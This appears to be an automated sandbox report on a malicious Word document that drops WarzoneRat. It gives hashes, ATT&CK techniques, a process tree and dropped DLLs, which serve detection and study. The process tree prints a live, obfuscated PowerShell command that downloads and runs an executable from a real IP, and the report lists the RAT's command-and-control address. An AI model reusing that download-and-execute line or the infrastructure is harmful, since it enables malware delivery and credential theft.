warzonerat | ef9f3640a11c9355fca84a3ded21a4e60b0565a2ccbd70d24bb4204a4c85651f

Analysis

max time kernel
114s
max time network
156s
platform
windows10_x64
resource
win10v20210408
submitted
15-06-2021 06:05

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General

Target

IMG_701451200.doc
Size

29KB
MD5

f603ab897766610aa9609935e5a65359
SHA1

9800aef87722cb04b166a74ebf66f84ddfb44aa7
SHA256

ef9f3640a11c9355fca84a3ded21a4e60b0565a2ccbd70d24bb4204a4c85651f
SHA512

152f6be30932cfec62e7d5d596d966f9a2210bdf081e2b3da15271543d84a352e9fa2bc47bf739a7c891f180ea90c760c2c5a98db08f6b6f7ed01888015eec85

Score

10^/10

warzonerat infostealer rat spyware stealer

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://31.210.20.45/527/CossoleApp2.exe

Extracted

Family

warzonerat

136.144.41.220:91

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1808	624	powershell.exe	WINWORD.EXE

WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat

Warzone RAT Payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1552-186-0x0000000000405CE2-mapping.dmp	warzonerat
behavioral2/memory/1552-189-0x0000000000400000-0x0000000000554000-memory.dmp	warzonerat

Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

hardsuch.exehardsuch.exe

pid process

4036 hardsuch.exe
1552 hardsuch.exe
Loads dropped DLL 6 IoCs

Processes:

hardsuch.exe

pid process

1552 hardsuch.exe
1552 hardsuch.exe
1552 hardsuch.exe
1552 hardsuch.exe
1552 hardsuch.exe
1552 hardsuch.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Suspicious use of SetThreadContext 1 IoCs

Processes:

hardsuch.exe

description pid process target process

PID 2784 set thread context of 1552 2784 hardsuch.exe hardsuch.exe

pid	process
4036	hardsuch.exe
1552	hardsuch.exe

pid	process
1552	hardsuch.exe
1552	hardsuch.exe
1552	hardsuch.exe
1552	hardsuch.exe
1552	hardsuch.exe
1552	hardsuch.exe

description	pid	process	target process
PID 2784 set thread context of 1552	2784	hardsuch.exe	hardsuch.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

624 WINWORD.EXE
624 WINWORD.EXE

pid	process
624	WINWORD.EXE
624	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exehardsuch.exe

pid	process
1808	powershell.exe
1808	powershell.exe
1808	powershell.exe
2784	hardsuch.exe
2784	hardsuch.exe
2784	hardsuch.exe
2784	hardsuch.exe
2784	hardsuch.exe
2784	hardsuch.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exehardsuch.exe

description pid process

Token: SeDebugPrivilege 1808 powershell.exe
Token: SeDebugPrivilege 2784 hardsuch.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXEhardsuch.exe

pid process

624 WINWORD.EXE
624 WINWORD.EXE
624 WINWORD.EXE
624 WINWORD.EXE
624 WINWORD.EXE
624 WINWORD.EXE
624 WINWORD.EXE
1552 hardsuch.exe

description	pid	process
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeDebugPrivilege	2784	hardsuch.exe

pid	process
624	WINWORD.EXE
624	WINWORD.EXE
624	WINWORD.EXE
624	WINWORD.EXE
624	WINWORD.EXE
624	WINWORD.EXE
624	WINWORD.EXE
1552	hardsuch.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WINWORD.EXEpowershell.exehardsuch.exe

description	pid	process	target process
PID 624 wrote to memory of 1808	624	WINWORD.EXE	powershell.exe
PID 624 wrote to memory of 1808	624	WINWORD.EXE	powershell.exe
PID 1808 wrote to memory of 2784	1808	powershell.exe	hardsuch.exe
PID 1808 wrote to memory of 2784	1808	powershell.exe	hardsuch.exe
PID 1808 wrote to memory of 2784	1808	powershell.exe	hardsuch.exe
PID 2784 wrote to memory of 4036	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 4036	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 4036	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 1552	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 1552	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 1552	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 1552	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 1552	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 1552	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 1552	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 1552	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 1552	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 1552	2784	hardsuch.exe	hardsuch.exe
PID 2784 wrote to memory of 1552	2784	hardsuch.exe	hardsuch.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\IMG_701451200.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h Start-BitsTransfer -Source "htt`p://31.210.20.45/527/CossoleApp2.exe" -Destination "C:\Users\Public\Documents\hardsuch.exe";C:\Users\Public\Documents\hardsuch.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Users\Public\Documents\hardsuch.exe
    "C:\Users\Public\Documents\hardsuch.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2784
  - - C:\Users\Admin\AppData\Local\Temp\hardsuch.exe
      C:\Users\Admin\AppData\Local\Temp\hardsuch.exe
      4⤵
      Executes dropped EXE
      PID:4036
  - - C:\Users\Admin\AppData\Local\Temp\hardsuch.exe
      C:\Users\Admin\AppData\Local\Temp\hardsuch.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetWindowsHookEx
      PID:1552

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\hardsuch.exe

MD5
fb3f04908f8f150a72df754414e3a603

SHA1
b01e5ea906649f77d01264cc1cb1e451297004fe

SHA256
cc47a9cd21127f53bdb494d7229bae248aa5a4140e7a70a9f6c521741f6ba477

SHA512
45f782e3166fe1f2b1a2750b630ab41066f118fb4b93c9f4b52d1335fff1e54743193db39061d82757224524139da0977449f4a25c87011605cd7611268803ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\hardsuch.exe

MD5
fb3f04908f8f150a72df754414e3a603

SHA1
b01e5ea906649f77d01264cc1cb1e451297004fe

SHA256
cc47a9cd21127f53bdb494d7229bae248aa5a4140e7a70a9f6c521741f6ba477

SHA512
45f782e3166fe1f2b1a2750b630ab41066f118fb4b93c9f4b52d1335fff1e54743193db39061d82757224524139da0977449f4a25c87011605cd7611268803ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\hardsuch.exe

MD5
fb3f04908f8f150a72df754414e3a603

SHA1
b01e5ea906649f77d01264cc1cb1e451297004fe

SHA256
cc47a9cd21127f53bdb494d7229bae248aa5a4140e7a70a9f6c521741f6ba477

SHA512
45f782e3166fe1f2b1a2750b630ab41066f118fb4b93c9f4b52d1335fff1e54743193db39061d82757224524139da0977449f4a25c87011605cd7611268803ac

Download Submit
\Users\Admin\AppData\Local\Temp\freebl3.dll

MD5
ef12ab9d0b231b8f898067b2114b1bc0

SHA1
6d90f27b2105945f9bb77039e8b892070a5f9442

SHA256
2b00fc4f541ac10c94e3556ff28e30a801811c36422546a546a445aca3f410f7

SHA512
2aa62bfba556ad8f042942dd25aa071ff6677c257904377c1ec956fd9e862abcbf379e0cfd8c630c303a32ece75618c24e3eef58bddb705c427985b944689193

Download Submit
\Users\Admin\AppData\Local\Temp\mozglue.dll

MD5
75f8cc548cabf0cc800c25047e4d3124

SHA1
602676768f9faecd35b48c38a0632781dfbde10c

SHA256
fb419a60305f17359e2ac0510233ee80e845885eee60607715c67dd88e501ef0

SHA512
ed831c9c769aef3be253c52542cf032afa0a8fa5fe25ca704db65ee6883c608220df7102ac2b99ee9c2e599a0f5db99fd86894a4b169e68440eb1b0d0012672f

Download Submit
\Users\Admin\AppData\Local\Temp\msvcp140.dll

MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

Download Submit
\Users\Admin\AppData\Local\Temp\nss3.dll

MD5
d7858e8449004e21b01d468e9fd04b82

SHA1
9524352071ede21c167e7e4f106e9526dc23ef4e

SHA256
78758bf7f3b3b5e3477e38354acd32d787bc1286c8bd9b873471b9c195e638db

SHA512
1e2c981e6c0ca36c60c6e9cae9548b866d5c524df837095b30d618d9c322def7134c20de820105400dd1b58076b66d90274f67773ac6ba914f611b419babb440

Download Submit
\Users\Admin\AppData\Local\Temp\softokn3.dll

MD5
471c983513694ac3002590345f2be0da

SHA1
6612b9af4ff6830fa9b7d4193078434ef72f775b

SHA256
bb3ff746471116c6ad0339fa0522aa2a44a787e33a29c7b27649a054ecd4d00f

SHA512
a9b0fb923bc3b567e933de10b141a3e9213640e3d790b4c4d753cf220d55593ae8026102909969ba6bfc22da3b2fcd01e30a9f5a74bd14a0fdec9beaf0fb1410

Download Submit
\Users\Admin\AppData\Local\Temp\vcruntime140.dll

MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
memory/624-123-0x00007FFB459C0000-0x00007FFB478B5000-memory.dmp

Filesize
31.0MB

Download
memory/624-114-0x00007FFB2BCA0000-0x00007FFB2BCB0000-memory.dmp

Filesize
64KB

Download
memory/624-115-0x00007FFB2BCA0000-0x00007FFB2BCB0000-memory.dmp

Filesize
64KB

Download
memory/624-116-0x00007FFB2BCA0000-0x00007FFB2BCB0000-memory.dmp

Filesize
64KB

Download
memory/624-117-0x00007FFB2BCA0000-0x00007FFB2BCB0000-memory.dmp

Filesize
64KB

Download
memory/624-118-0x00007FFB2BCA0000-0x00007FFB2BCB0000-memory.dmp

Filesize
64KB

Download
memory/624-119-0x00007FFB4CE90000-0x00007FFB4F9B3000-memory.dmp

Filesize
43.1MB

Download
memory/624-122-0x0000025FC4B80000-0x0000025FC5C6E000-memory.dmp

Filesize
16.9MB

Download
memory/1552-189-0x0000000000400000-0x0000000000554000-memory.dmp

Filesize
1.3MB

Download
memory/1552-191-0x0000000004910000-0x0000000004A4C000-memory.dmp

Filesize
1.2MB

Download
memory/1552-192-0x0000000004D70000-0x0000000004DF4000-memory.dmp

Filesize
528KB

Download
memory/1552-186-0x0000000000405CE2-mapping.dmp

Download
memory/1808-181-0x00000185B29A3000-0x00000185B29A5000-memory.dmp

Filesize
8KB

Download
memory/1808-179-0x0000000000000000-mapping.dmp

Download
memory/1808-180-0x00000185B29A0000-0x00000185B29A2000-memory.dmp

Filesize
8KB

Download
memory/1808-182-0x00000185B29A6000-0x00000185B29A8000-memory.dmp

Filesize
8KB

Download
memory/2784-188-0x00000000058B3000-0x00000000058B5000-memory.dmp

Filesize
8KB

Download
memory/2784-184-0x00000000058B0000-0x00000000058B1000-memory.dmp

Filesize
4KB

Download
memory/2784-183-0x0000000000000000-mapping.dmp

Download